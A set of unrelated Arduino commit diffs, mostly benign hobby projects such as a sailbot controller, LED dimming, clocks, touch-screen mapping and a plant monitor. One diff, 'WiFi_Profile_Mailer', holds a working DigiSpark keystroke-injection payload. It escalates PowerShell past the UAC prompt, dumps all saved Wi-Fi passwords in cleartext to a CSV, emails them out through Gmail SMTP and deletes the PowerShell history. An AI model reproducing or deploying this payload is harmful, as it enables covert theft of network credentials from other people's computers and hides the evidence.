Refactored loop()-method - Split in to updating boat state and communicating with the remote - Keep both local state and remote state in boat - Switch to StateNoIMU only after 50 failed reads

--- Arduino/Sailbot/Sailbot.ino
+++ Arduino/Sailbot/Sailbot.ino
@@ -30,12 +30,14 @@
   SBTSailbotModelStateRecoveryMode,
 };

-#define DATA_PACKET_SEND_INTERVAL  250
+#define DATA_PACKET_SEND_INTERVAL  500
 #define  SERIAL_PORT_SPEED  9600

 unsigned long lastDataPacketSent;

 char state;
+char remoteState;
+int failedIMUReadCount;

 Servo tillerServo;
 Servo sheetServo;
@@ -43,6 +45,7 @@
 void setup() {
   Serial.begin(SERIAL_PORT_SPEED);
   Wire.begin();
+  remoteState = SBTSailbotModelStateManualControl;
   imu = RTIMU::createIMU(&settings);                        // create the imu object

   Serial.print("ArduinoIMU starting using device ");
@@ -71,21 +74,44 @@
   unsigned long now = millis();

   if (imu->IMURead()) {
+    failedIMUReadCount = 0;
     fusion.newIMUData(imu->getGyro(), imu->getAccel(), imu->getCompass(), imu->getTimestamp());
-    if ((now - lastDataPacketSent) >= DATA_PACKET_SEND_INTERVAL) {
-      lastDataPacketSent = now;
-      if (!imu->IMUGyroBiasValid()) {
-        Serial.println("Calculating gyro bias - don't move IMU!");

-        char buffer[2];
-        buffer[0] = SBTSailbotModelHeaderState;
-        buffer[1] = SBTSailbotModelStateCalibratingIMU;
-        RFduinoBLE.send((char*)&buffer, 2);
-        return;
-      }
+    // Determine local state
+    if (!imu->IMUGyroBiasValid()) {
+      state = SBTSailbotModelStateCalibratingIMU;
+    } else {
+      state = remoteState;
+    }

+    // Update rudder and sheet
+    if (state == SBTSailbotModelStateAutomaticControl) {
+
+    } else if (state == SBTSailbotModelStateRecoveryMode) {
+
+    }
+  } else {
+    failedIMUReadCount++;
+    if (failedIMUReadCount > 50) {
+      state = SBTSailbotModelStateNoIMU;
+    }
+  }
+
+  // Communicate with remote
+  if ((now - lastDataPacketSent) >= DATA_PACKET_SEND_INTERVAL) {
+    lastDataPacketSent = now;
+    if (state == SBTSailbotModelStateCalibratingIMU) {
+      char buffer[2];
+      buffer[0] = SBTSailbotModelHeaderState;
+      buffer[1] = SBTSailbotModelStateCalibratingIMU;
+      RFduinoBLE.send((char*)&buffer, 2);
+    } else if (state == SBTSailbotModelStateNoIMU) {
+      char buffer[2];
+      buffer[0] = SBTSailbotModelHeaderState;
+      buffer[1] = SBTSailbotModelStateNoIMU;
+      RFduinoBLE.send((char*)&buffer, 2);
+    } else {
       const RTVector3& vec = fusion.getFusionPose();
-
       char buffer[10];
       buffer[0] = SBTSailbotModelHeaderBoatHeading;
       buffer[1] = state;
@@ -93,14 +119,8 @@
       memcpy(&buffer[2], &heading, sizeof(heading));
       RFduinoBLE.send((char*)&buffer, sizeof(float) + 2);
     }
-  } else {
-    char buffer[2];
-    buffer[0] = SBTSailbotModelHeaderState;
-    buffer[1] = SBTSailbotModelStateNoIMU;
-    RFduinoBLE.send((char*)&buffer, 2);
   }
 }
-

 void RFduinoBLE_onConnect() {
   Serial.println("Bluetooth connect");
@@ -110,20 +130,20 @@
   Serial.println("Bluetooth disconnect");
 }

-void RFduinoBLE_onReceive(char *data, int len) {
+void RFduinoBLE_onReceive(char * data, int len) {

   SBTSailbotModelHeader command = (SBTSailbotModelHeader)data[0];

   switch (command) {
     case SBTSailbotModelHeaderAutomaticControl: {
-        state = SBTSailbotModelStateAutomaticControl;
+        remoteState = SBTSailbotModelStateAutomaticControl;
         int heading;
         memcpy(&heading, &data[1], sizeof(heading));
         Serial.print("Selected heading "); Serial.println(heading);
         break;
       }
     case SBTSailbotModelHeaderManualControl: {
-        state = SBTSailbotModelStateManualControl;
+        remoteState = SBTSailbotModelStateManualControl;
         int rudder;
         memcpy(&rudder, &data[1], sizeof(rudder));
         int sheet;


Fixed problem with one of the LEDs not dimming

Somehow sprintf was affecting the dimming of one of the LEDs

--- Arduino/apeiron/apeiron.ino
+++ Arduino/apeiron/apeiron.ino
@@ -21,7 +21,6 @@

 #include <SoftTimer.h>
 #include <Task.h>
-//#include <DistanceGP2Y0A21YK.h>

 const int numReadings = 20;

@@ -31,7 +30,7 @@

 int led1Pin = 9;
-int led2Pin = 10;
+int led2Pin = 11;
 int motor1pin = 5;
 int motor2pin = 6;
 int analogPin = 3;
@@ -54,11 +53,7 @@
 int led1Dir = 1;
 int led2Dir = 1;

-char padding[2];
-
 bool motorState = false;
-
-//DistanceGP2Y0A21YK distSensor;

 Task distCheckTask(50, distanceCheck);
 Task dimLED1Task(LEDS_IDLE_PERIOD, dimLED1);
@@ -76,8 +71,6 @@

   for (int thisReading = 0; thisReading < numReadings; thisReading++)
     readings[thisReading] = 0;
-
-//  distSensor.begin(A0);

   SoftTimer.add(&distCheckTask);
   SoftTimer.add(&dimLED1Task);
@@ -111,8 +104,7 @@
   distance = average(analogRead(A0));

   Serial.print("#");
-  sprintf(padding, "%03d", distance);
-  Serial.print(padding);
+  paddedPrint(distance, 3);

   if (distance > FIRST_LIMIT) {

@@ -141,6 +133,17 @@
   }
 }

+void paddedPrint( int number, byte width ) {
+  int currentMax = 10;
+  for (byte i=1; i<width; i++){
+    if (number < currentMax) {
+      Serial.print("0");
+    }
+    currentMax *= 10;
+  }
+  Serial.print(number);
+}
+
 void dimLED1(Task * task) {

   led1Level = led1Level + (led1Dir * led1Step);
@@ -159,6 +162,7 @@
 void dimLED2(Task * task) {

   led2Level = led2Level + (led2Dir * (random(0, 2) + led2Step));
+
   if (led2Level > 255) {
     led2Dir = -1;
     led2Level = 254;


turn on backlight only when battery is above threshold

--- sensor_clock_2.ino
+++ sensor_clock_2.ino
@@ -7,6 +7,7 @@

 #include <LCD03.h>

+#define BATT_PIN A3

 #define LED_13_PIN 13

@@ -26,6 +27,7 @@
 #define SLEEP_LONG_INTERVAL 45000 //45s

 #define LIGHT_THRESHOLD 50
+#define BATT_MILLIVOLT_NOT_TURN_ON_LIGHT_THRESHOLD 3500

 #define OFF_HOUR 00
 #define OFF_MIN 00
@@ -133,7 +135,7 @@
   int lightValue = analogRead(LDR_PIN);
   Serial.println("LDR");
   Serial.println(lightValue);
-
+
   if(currentlyOn){

   //Update time only if second changes. Prevent needless requests to LCD
@@ -145,10 +147,16 @@

       if(lightValue < LIGHT_THRESHOLD){
+
         //Dark, turn on backlight
         if(!isLcdBacklightOn){
-          lcd.backlight();
-          isLcdBacklightOn = true;
+
+          int battMilliVolt = getBatteryMilliVoltage();
+
+          if(battMilliVolt > BATT_MILLIVOLT_NOT_TURN_ON_LIGHT_THRESHOLD){
+            lcd.backlight();
+            isLcdBacklightOn = true;
+          }
         }
       } else {
         //Bright, turn off backlight
@@ -223,7 +231,8 @@
   }

- shortSleep();
+ //shortSleep();
+ delay(500);

 }
@@ -236,6 +245,16 @@

 void longSleep(){
   Sleepy::loseSomeTime(SLEEP_LONG_INTERVAL);
+}
+
+int getBatteryMilliVoltage(){
+ int battValue = analogRead(BATT_PIN);
+ int battMilliVoltage = (((float) battValue) / 1024) * 5000;
+ Serial.print("Batt: ");
+ Serial.println(battMilliVoltage);
+
+ return battMilliVoltage;
+
 }


-Fixed too eager replace of variable names.

--- tfttask.ino
+++ tfttask.ino
@@ -62,16 +62,16 @@
         firstRun = false;
       }

-      for ( uint8_t channelNumber = 0; channelNumber < TFT_BACKLIGHT_CHANNEL; channelNumber++ )
+      for ( uint8_t channelNumber = 0; channelNumber < NUMBER_OF_CHANNELS; channelNumber++ )
       {
         average += ledcRead( channelNumber );
       }
-      average = average / TFT_BACKLIGHT_CHANNEL;
+      average = average / NUMBER_OF_CHANNELS;

       uint16_t rawBrightness = map( tftBrightness, 0, 100, 0, ( 0x00000001 << TFT_BACKLIGHT_BITDEPTH ) - 1 );
       ledcWrite( TFT_BACKLIGHT_CHANNEL, ( average > rawBrightness ) ? rawBrightness : average );

-      for ( uint8_t channelNumber = 0; channelNumber < TFT_BACKLIGHT_CHANNEL; channelNumber++ )
+      for ( uint8_t channelNumber = 0; channelNumber < NUMBER_OF_CHANNELS; channelNumber++ )
       {
         uint8_t r, g, b;
         uint32_t color = strtol( &channel[channelNumber].color[1], NULL, 16 );


Changed mapFloat() to map() calls if the operands are int types.

Fixed mapping from touch to screen coordinates.

--- tfttask.ino
+++ tfttask.ino
@@ -444,31 +444,33 @@

 static inline __attribute__((always_inline)) struct tftPoint_t mapToTft( const uint16_t &touchX, const uint16_t &touchY )
 {
+  const uint16_t XPT_RES = 4096;
   uint16_t x, y;
+
   if ( !TOUCH_IS_INVERTED )
   {
     if (  tftOrientation == TFT_ORIENTATION_UPSIDEDOWN )
     {
-      x = mapFloat( touchX, 340, 3900, 0, 320 );
-      y = mapFloat( touchY, 200, 3850, 0, 240 );
+      x = map( touchX, 0, XPT_RES, 0, 320 );
+      y = map( touchY, 0, XPT_RES, 0, 240 );
     }
     else if ( tftOrientation == TFT_ORIENTATION_NORMAL )
     {
-      x = mapFloat( touchX, 340, 3900, 320, 0 );
-      y = mapFloat( touchY, 200, 3850, 240, 0 );
+      x = map( touchX, 0, XPT_RES, 320, 0 );
+      y = map( touchY, 0, XPT_RES, 240, 0 );
     }
   }
   else
   {
     if (  tftOrientation == TFT_ORIENTATION_UPSIDEDOWN )
     {
-      x = mapFloat( touchX, 340, 3900, 320, 0 );
-      y = mapFloat( touchY, 200, 3850, 240, 0 );
+      x = map( touchX, 0, XPT_RES, 320, 0 );
+      y = map( touchY, 0, XPT_RES, 240, 0 );
     }
     else if ( tftOrientation == TFT_ORIENTATION_NORMAL )
     {
-      x = mapFloat( touchX, 340, 3900, 0, 320 );
-      y = mapFloat( touchY, 200, 3850, 0, 240 );
+      x = map( touchX, 0, XPT_RES, 0, 320 );
+      y = map( touchY, 0, XPT_RES, 0, 240 );
     }
   }
   return { x, y };
@@ -570,7 +572,7 @@
   tft.writeFillRect( area.x + area.w / 2  - 1, area.y, 2, area.h, ILI9341_YELLOW );
   tft.endWrite();

-  int16_t ypos = mapFloat( value, rangeLow, rangeHigh, area.h + area.y, area.y );
+  int16_t ypos = map( value, rangeLow, rangeHigh, area.h + area.y, area.y );
   knob = { area.x, 0, BL_SLIDER_WIDTH, 10, ILI9341_YELLOW };
   knob.y = ypos - 5;
   button.draw( knob );
@@ -641,4 +643,3 @@
                  ( tempArea.y - 6 ) );
   tft.print( newLabel );
 }
-


simplified day of week calculation

simplified day of week calculation

RTClib already contains day of the week function

--- WordClock_NeoMatrix8x8/calculateTime.ino
+++ WordClock_NeoMatrix8x8/calculateTime.ino
@@ -21,8 +21,7 @@

   if (OBSERVE_DST == 1) {

-    byte DoW = day_of_week(RTCTime.year(), RTCTime.month(), RTCTime.day()); //Get the day of the week. 0 = Sunday, 6 = Saturday
-    int previousSunday = RTCTime.day() - DoW;
+    int previousSunday = RTCTime.day() - RTCTime.dayOfTheWeek();

     boolean dst = false; //Assume we're not in DST
     if (RTCTime.month() > 3 && RTCTime.month() < 11) dst = true; //DST is happening!
@@ -59,16 +58,3 @@

   return RTCTime;
 }
-
-
-//Given the current year/month/day
-//Returns 0 (Sunday) through 6 (Saturday) for the day of the week
-//From: http://en.wikipedia.org/wiki/Calculating_the_day_of_the_week
-//This function assumes the month from the caller is 1-12
-char day_of_week(int year, int month, int day)
-{
-  //Devised by Tomohiko Sakamoto in 1993, it is accurate for any Gregorian date:
-  static int t[] = { 0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4  };
-  year -= month < 3;
-  return (year + year / 4 - year / 100 + year / 400 + t[month - 1] + day) % 7;
-}


Added missing class specifier to ControlLED demo

--- examples/ControlLED/ControlLED.ino
+++ examples/ControlLED/ControlLED.ino
@@ -89,7 +89,7 @@
     return -1;

   // Turn the LEDs on or off
-  uint16_t list_len = sizeWordToInt(&(data[0]));			// Convert 2-byte size word to int
+  uint16_t list_len = TIVar::sizeWordToInt(&(data[0]));		// Convert 2-byte size word to int
   if (list_len == 1) {
     // It is indeed a 1-element list
 	int value = (int)TIVar::realToFloat8x(&data[2], model);	// First list element starts after 2-byte size word


fixed encoder to work with separate init() function, since constructor using pointer doesn't work correctly with ASM code. need updated Encoder library

--- Sensorizer.ino
+++ Sensorizer.ino
@@ -52,17 +52,17 @@

-Encoder* myEnc;
+Encoder myEnc;

 void setupKnobs() {
- myEnc = new Encoder(ENCODER_PIN_1, ENCODER_PIN_2);
+ myEnc.init(ENCODER_PIN_1, ENCODER_PIN_2);

  pinMode(ENCODER_MODE_SWITCH_PIN, INPUT);
  digitalWrite(ENCODER_MODE_SWITCH_PIN, HIGH); //enable pullup
 }

-long position  = -999;
-long positionKey  = -999;
+int32_t position  = 32;
+int32_t positionKey  = 36;

 bool lastButtonMode = HIGH;

@@ -71,13 +71,13 @@
   int buttonMode = digitalRead(ENCODER_MODE_SWITCH_PIN);
   if (lastButtonMode != buttonMode) {
      if (buttonMode == HIGH)
-       myEnc->write(position * 4);
+       myEnc.write(position * 4);
      else
-       myEnc->write(positionKey * 4);
-  }
-
-
-  long newPos = myEnc->read() / 4;
+       myEnc.write(positionKey * 4);
+  }
+
+
+  int newPos = myEnc.read() / 4;

   if (buttonMode == HIGH) {
     if (newPos != position) {
@@ -107,7 +107,7 @@
     }
   }
   else { //button is depressed. cheer up, button!
-     if (newPos != position) {
+     if (newPos != positionKey) {
       positionKey = newPos;
       DEBUG_PRINT_NUM("encoder key: ", positionKey);


Update pacman_barblink.ino

Update pacman_barblink.ino

corrected syntax

--- CAA-NMC-2019/Code/pacman_barblink/pacman_barblink.ino
+++ CAA-NMC-2019/Code/pacman_barblink/pacman_barblink.ino
@@ -45,8 +45,8 @@

 void loop() {
   for(int x=0;x<20;x++){
-    rainbow(1);
-
+   rainbow(1);
+  }
   rainbowCycle(10);
 }


tidyup

tidyup

--- COHEAT2015/20160316-COHEAT-M1/COHEAT-M1/COHEAT-M1.ino
+++ COHEAT2015/20160316-COHEAT-M1/COHEAT-M1/COHEAT-M1.ino
@@ -48,19 +48,7 @@
 // Limits actual poll rate to something like once every 8ms, unless force is true.
 //   * force if true then force full poll on every call (ie do not internally rate-limit)
 // Not thread-safe, eg not to be called from within an ISR.
-// NOTE: implementation may not be in power-management module.
 bool pollIO(bool force = false);
-
-// Call this to productively burn tens to hundreds of CPU cycles, and poll I/O, eg in a busy-wait loop.
-// This may churn PRNGs or gather entropy for example.
-// This call should typically take << 1ms at 1MHz CPU.
-// Does not change CPU clock speeds, mess with interrupts (other than possible brief blocking), or sleep.
-// May capture some entropy in secure and non-secure PRNGs.
-inline void burnHundredsOfCyclesProductivelyAndPoll()
-  {
-  if(pollIO()) { OTV0P2BASE::seedRNG8(OTV0P2BASE::getCPUCycleCount(), 37 /* _watchdogFired */, OTV0P2BASE::_getSubCycleTime()); }
-  else { OTV0P2BASE::captureEntropy1(); }
-  }

 extern OTRadioLink::OTRadioLink &PrimaryRadio;


Added the relevant libraries for the I2C lcd

--- src/LCDPrint/LCDPrint.ino
+++ src/LCDPrint/LCDPrint.ino
@@ -1,5 +1,7 @@
 #include <OneWire.h>
 #include <DallasTemperature.h>
+#include <Wire.h>
+#include <LiquidCrystal_I2C.h>

 OneWire oneWire(2); //connect data to pin 2
 DallasTemperature sensors(&oneWire);
@@ -8,6 +10,7 @@
 DeviceAddress red   = { 0x28, 0xFF, 0xA9, 0xB4, 0x62, 0x15, 0x03, 0x0C };
 DeviceAddress green = { 0x28, 0xFF, 0xF5, 0xB3, 0x62, 0x15, 0x03, 0x3E };

+LiquidCrystal lcd(0x27, 16, 2);

 const int delayTime = 500;


Increased delay before UAC prompt

Increased delay before UAC prompt

--- WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
+++ WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
@@ -16,7 +16,7 @@
   DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_A);
-  DigiKeyboard.delay(500);
+  DigiKeyboard.delay(1000);
   DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
@@ -25,7 +25,7 @@
   DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_A);
-  DigiKeyboard.delay(500);
+  DigiKeyboard.delay(1000);
   DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
@@ -34,7 +34,7 @@
   DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_A);
-  DigiKeyboard.delay(500);
+  DigiKeyboard.delay(1000);
   DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));


update

update

--- module/module.ino
+++ module/module.ino
@@ -157,11 +157,7 @@

 	// Only here temporarily for debugging
 	if (debug) {
-		Serial.print(startTime);
-		Serial.print(" ");
-		Serial.print(sendCount);
-		Serial.print(" ");
-		Serial.println(pulseCount);
+		Serial.print(startTime); Serial.print(" "); Serial.print(sendCount); Serial.print(" "); Serial.println(pulseCount);
 	}

 	while (1) {


Arduino Bug Fixed

Arduino Bug Fixed

I have troubleshooted the arduino side of communication. Now it is
functional.

--- Testing_Arduino101_2/Testing_Arduino101_2.ino
+++ Testing_Arduino101_2/Testing_Arduino101_2.ino
@@ -506,24 +506,34 @@
                 servo_change();
                 //Serial.print("Hello9");
               }
+              break;
+
             case 'R':
               command_status = 1;
               //Serial.print("Hello10");
               break;
+
             case 'k':
               if(command_status == 1){
                 encoder_reset();
-              }
-              break;
+                //Serial.print("reset");
+              }
+              break;
+
             case 'm':
               if(command_status == 1){
                 encoder_report();
-              }
+                //Serial.print("report");
+              }
+              break;
+
             case 'j':
               if(command_status == 1){
                 encoder_calibrate();
-              }
-              break;
+                //Serial.print("calibrate");
+              }
+              break;
+
             break;
             default:
               //Serial.print("Hello11");


Adding Ascii Art project Logo

Adding Ascii Art project Logo

Signed-off-by: Nicolas Besson <d7f58cdec0482d3d2c1783d277e617d324652a9e@gmail.com>


Signed-off-by: jboehm1 <boehm.jean@gmail.com>

--- arduino/serial/serial.ino
+++ arduino/serial/serial.ino
@@ -28,19 +28,22 @@
 int mesure_voltage;
   //R1=97.9 kOhms
   //R2=98.8 kOhms
-float periode=0; //permet de relentir la cadence d'envoi de la tension
+float period=0; //permet de relentir la cadence d'envoi de la tension

         //softPWM
 unsigned long currentMicros = micros();
 unsigned long previousMicros = 0;

+int puissance[2]={0,0};
+
 float PWM_frequency = 200;
 unsigned long PWM_period = 1e6 / PWM_frequency; //Period = 1 / F(Hz) *

 int pinRightMotor = 12;
 int pinLeftMotor = 13;
-
+int pinRightDirection = 14;
+int pinLeftDirection = 15;

 void setup() {
   Serial.begin(9600);
@@ -70,12 +73,14 @@

   pinMode(pinLeftMotor,OUTPUT);
   pinMode(pinRightMotor,OUTPUT);
+  pinMode(pinLeftDirection,OUTPUT);
+  pinMode(pinRightDirection,OUTPUT);
 }

 void loop() {
-  if (periode>1600000){
+  if (period>1600000){
     voltmetre();
-    periode=0;
+    period=0;
     //Serial.println("loop");
   }

@@ -89,12 +94,12 @@
       if(c==250) {
          Serial.println(" ");
          i=0;
-         mode = MODE_BRAS
+         mode = MODE_BRAS;
       }
       if(c==254) {
          Serial.println(" ");
          i=0;
-         MODE = MODE_TANK:
+         mode = MODE_TANK;
       }
       /*if(c==65) { //MODE 1
         glowingLED(30);
@@ -138,7 +143,7 @@
       }

   }
-  periode++;
+  period++;
  }

@@ -155,7 +160,7 @@
     //else Serial.println("error");
 }

-
+/*
 void glowingLED(int periodeLED){
  for(int fadeValue = 0 ; fadeValue <= 255; fadeValue +=5) {
     analogWrite(pinLED, fadeValue);
@@ -180,12 +185,12 @@
 void stillLED(){
   analogWrite(pinLED,250);
 }
-
+*/

 /*************** softPWM  ***************/
 void softPWM(int pin, int dutyCycle/* Percentage */) {
   currentMicros = micros(); //Time elapsed since the start of the start of the programm
-  if (currentMicros - previousMicros <= dutyCycle*period/100) {
+  if (currentMicros - previousMicros <= dutyCycle*PWM_period/100) {
     digitalWrite(pin,HIGH);
     Serial.println("ON");
   }
@@ -202,3 +207,7 @@
   }
 }

+void changeDirection(char Direction,bool level) {
+  if (Direction == 'left') digitalWrite(pinRightDirection, level);
+  else digitalWrite(pinLeftDirection, level);
+ } //A utiliser comme suit : changeDirection('left',HIGH);


o_wrkMode bug

o_wrkMode bug

--- _09_ir_tx_rx/_09_ir_tx_rx.ino
+++ _09_ir_tx_rx/_09_ir_tx_rx.ino
@@ -384,7 +384,7 @@
   if ( results->bits > 0 && results->bits == 32 ) {
     switch (results->value) {
       case 0xFF02FD: // remote on
-        if ( o_wrkMode == 0 ) {
+        if ( o_wrkMode == 1 ) {
           t.stop(tvIsOffEvent);
           t.stop(tvIsOnEvent);
           timerStatus = 0;


Arduino Demo: Add pushback of LED Status

--- Scripts/serialdemo_spad.ino
+++ Scripts/serialdemo_spad.ino
@@ -29,6 +29,9 @@
   kHeading = 11, // CMDID for data updates from SPAD.neXt
 };

+int lastLedState = 999;
+bool isReady = false;
+
 void attachCommandCallbacks()
 {
   // Attach callback methods
@@ -43,11 +46,7 @@
 // Called when a received command has no attached function
 void onUnknownCommand()
 {
-  messenger.sendCmdStart(kDebug);
-  messenger.sendCmdArg("UNKNOWN COMMAND");
-//  messenger.sendCmdArg(messenger.lastCommandId);
-//  messenger.sendCmdArg(messenger.commandBuffer);
-  messenger.sendCmdEnd();
+  messenger.sendCmd(kDebug,"UNKNOWN COMMAND");
 }

 // Callback function to respond to indentify request. This is part of the
@@ -96,6 +95,7 @@

     // tell SPAD.neXT we are done with config
     messenger.sendCmd(kRequest, "CONFIG");
+    isReady = true;
     return;
   }
 }
@@ -164,4 +164,13 @@
 {
   // Process incoming serial data, and perform callbacks
   messenger.feedinSerialData();
+
+  // Update Led-Data on SPAD.neXt
+  int ledVal = digitalRead(ledPin);
+  if ((ledVal != lastLedState) && isReady)
+  {
+     lastLedState = ledVal;
+     messenger.sendCmd(kLed,ledVal);
+  }
+
 }


Successfully tested

Successfully tested

--- module/module.ino
+++ module/module.ino
@@ -278,8 +278,9 @@
 			numInvalid += 1;
 		}
 	}
+  //Serial.print(signals[0]); Serial.print(signals[1]); Serial.print(signals[2]); Serial.print(" ");
 	Serial.print(numValid); Serial.print(numInvalid);
-	Serial.print(" ");
+	//Serial.print(" ");
   	//delay(1);

 	if (numValid == sampleSize) {


successfully switched to RFID functionality by button press

--- module/module.ino
+++ module/module.ino
@@ -96,23 +96,16 @@
 	GET();

 	bool done = false;
-	unsigned long httpTime = millis();
 	while (!done) {
 		while (WIFI.available()) {
 			Serial.write(WIFI.read());
 		}
-		while ((millis() - httpTime) >= 1000) {
-			RFID.listen();
-			delay(1000);
-			Serial.println("hi");
-			if (!getResponse(readData)) {
-				httpTime = millis();
-				done = true;
-			}
-		}
-	}
-
-	Serial.println("hi 2");
+		if(digitalRead(speakerPin) == HIGH) {
+			done = true;
+		}
+	}
+
+	RFID.listen();
 	delay(scanInterval);
 }


Update IRRemoteControlDemo.ino

Update IRRemoteControlDemo.ino

--- examples/IRRemoteControlDemo/IRRemoteControlDemo.ino
+++ examples/IRRemoteControlDemo/IRRemoteControlDemo.ino
@@ -48,7 +48,7 @@

     irSend.sendRaw(irBuffer, currentIrBufferLength, FREQ_KHZ, false);

-    Serial.println(F("Código enviado!"));
+    Serial.println(F("Code sent!"));
     Serial.println();

     digitalWrite(LED_BUILTIN, LOW);


revert to no delay on loop

revert to no delay on loop

--- EspressHeater.ino
+++ EspressHeater.ino
@@ -61,7 +61,7 @@
 	}

   	//Delay to allow ESP8266 WIFI functions to run
-  	delay(10);
+  //	delay(10);

 }


Converted wind speed from mp/h to m/s

Converted wind speed from mp/h to m/s

--- mws/mws.ino
+++ mws/mws.ino
@@ -437,20 +437,12 @@
 float get_wind_speed()
 {
   float deltaTime = millis() - lastWindCheck; //750ms
-
   deltaTime /= 1000.0; //Convert to seconds
-
   float windSpeed = (float)windClicks / deltaTime; //3 / 0.750s = 4
-
   windClicks = 0; //Reset and start watching for new wind
   lastWindCheck = millis();
-
-  //windSpeed *= 1.492; //4 * 1.492 = 5.968MPH
-
-  /* Serial.println();
-   Serial.print("Windspeed:");
-   Serial.println(windSpeed);*/
-
+  windSpeed *= 1.492; //4 * 1.492 = 5.968MPH
+  windSpeed *= 0.44704; //5.968MPH * 0.44704 = 2.6679 m/s
   return(windSpeed);
 }


Added soil humidity detecting & changed water level detecting

--- Garduino.ino
+++ Garduino.ino
@@ -2,13 +2,11 @@
  * Garduino | 0.1
  * Plant Monitoring & Management System on Arduino
  *
- * Water level detecting: Sensor(A0), led1(7), integers(watersensor,WaterSensorValue)
  * DHT temp & humidity detecting: Sensor(Digital 2), integers(h,t,hic)
  * Servo motor controlling: Motor(Digital 9), integers(motor,pos)
- * IR Controlling: Receiver(Digital 13), integers(RECV_PIN)
- * Distance detecting: Sensor(Digital 3 & 2), VCC to Arduino 5v GND to Arduino GND
- *
- * Created by Kerim Kaan (kerimkaan.com)
+ * IR Controlling (Optional,Not Include): Receiver(Digital 13), integers(RECV_PIN)
+ * Water level (Distance) detecting: Sensor(Digital 3 & 2), VCC to Arduino 5v GND to Arduino GND
+ * Soil humidity detecting: Sensor(A0), VCC to 5V
  *
  *
  * Before use please read README.md file.
@@ -31,17 +29,18 @@
 #define DHTTYPE DHT11
 DHT dht(DHTPIN, DHTTYPE);

-// Distance sensor (HC-SR04) Pins
-#define trigPin 3
-#define echoPin 2
+// Distance sensor (HC-SR04) for water level detecting (HC-SR04) Pins
+#define trigPin 3 // Digital 3
+#define echoPin 2 // Digital 2

 // LEDs
-int led1 = 7; // LED1(Mavi) 7. pine bağlı
-int led2 = 12; // LED2(Sarı) 12. pine bağlı
-int led3 = 11;  // LED3(Kırmızı) 11. pine bağlı
+int led1 = 7; // LED1(Mavi, Blue) 7. pine bağlı
+int led2 = 12; // LED2(Sarı, Yellow) 12. pine bağlı
+int led3 = 11;  // LED3(Kırmızı, Red) 11. pine bağlı

-// Water level sensor
-int watersensor = 0; // Water sensor integer, Arduino A0
+// Soil humidity sensor
+int soilsensor = 0; // Soil humidity sensor integer, Arduino A0
+int nem; // Humidity integer

 void setup() {
@@ -55,8 +54,11 @@
 }

 void loop() {
- // Temperature & humidity detecting, monitoring
- int WaterSensorValue = analogRead(watersensor);
+ // Soil humidity detecting
+  nem= analogRead(soilsensor);
+  nem= map(nem,0,1023,0,100);
+
+  // Enviroment temperature & humidity detecting, monitoring
   float h = dht.readHumidity(); // Read humidity (%) - Nem oranı
   float t = dht.readTemperature(); // Read temperature as Celsius - Celsius cinsinden sıcaklık değeri
   float hic = dht.computeHeatIndex(t, h, false); // Compute heat index in Celsius - Isı indeksi (Hissedilen sıcaklık)
@@ -70,8 +72,10 @@
   Serial.print("Isi Indeksi(Hissedilen Sicaklik) / Heat Index: ");
   Serial.print(hic);
   Serial.println(" *C ");
+  Serial.print("Toprak Nemi / Soil Humidity: ");
+  Serial.println(nem);

-  // Distance detecting & monitoring
+  // Water level detecting & monitoring
   long duration, distance;
   digitalWrite(trigPin, LOW);
   delayMicroseconds(2);
@@ -80,18 +84,20 @@
   digitalWrite(trigPin, LOW);
   duration = pulseIn(echoPin, HIGH);
   distance = (duration/2) / 29.1;
+  Serial.print("Su seviyesi / Water level: ");
   Serial.print(distance);
   Serial.println(" cm");

-  if (distance < 10){
-    Serial.println("Su seviyesi çok düşük / Water level is too low")
-    digitalWrite(led1, HIGH);
-    digitalWrite(led2, HIGH);
-    digitalWrite(led3, HIGH);
+  if (distance < 5){
+    Serial.println("Su seviyesi çok düşük / Water level is too low");
+    Serial.print("Su seviyesi çok düşük / Water level is too low");
+    digitalWrite(led1,HIGH);
+    digitalWrite(led2,HIGH);
+    digitalWrite(led3,HIGH);
     Serial.println("-------------------------------------------------------------------");
   }
   else{
-    if (WaterSensorValue >= 500){
+    if (nem  >= 0 && nem  < 20){
      Serial.println("Toprak nem seviyesi / Soil humidity level: TOO HIGH");
      digitalWrite(led3,HIGH);
      delay(250);
@@ -101,25 +107,25 @@
      delay(250);
      digitalWrite(led3,LOW);
     }
-    else if (WaterSensorValue >= 400 && WaterSensorValue < 500)
+    else if (nem  >= 20 && nem  < 50)
     {
      Serial.println("Toprak nem seviyesi / Soil humidity level: HIGH");
      digitalWrite(led2,HIGH);
      delay(500);
      digitalWrite(led2,LOW);
     }
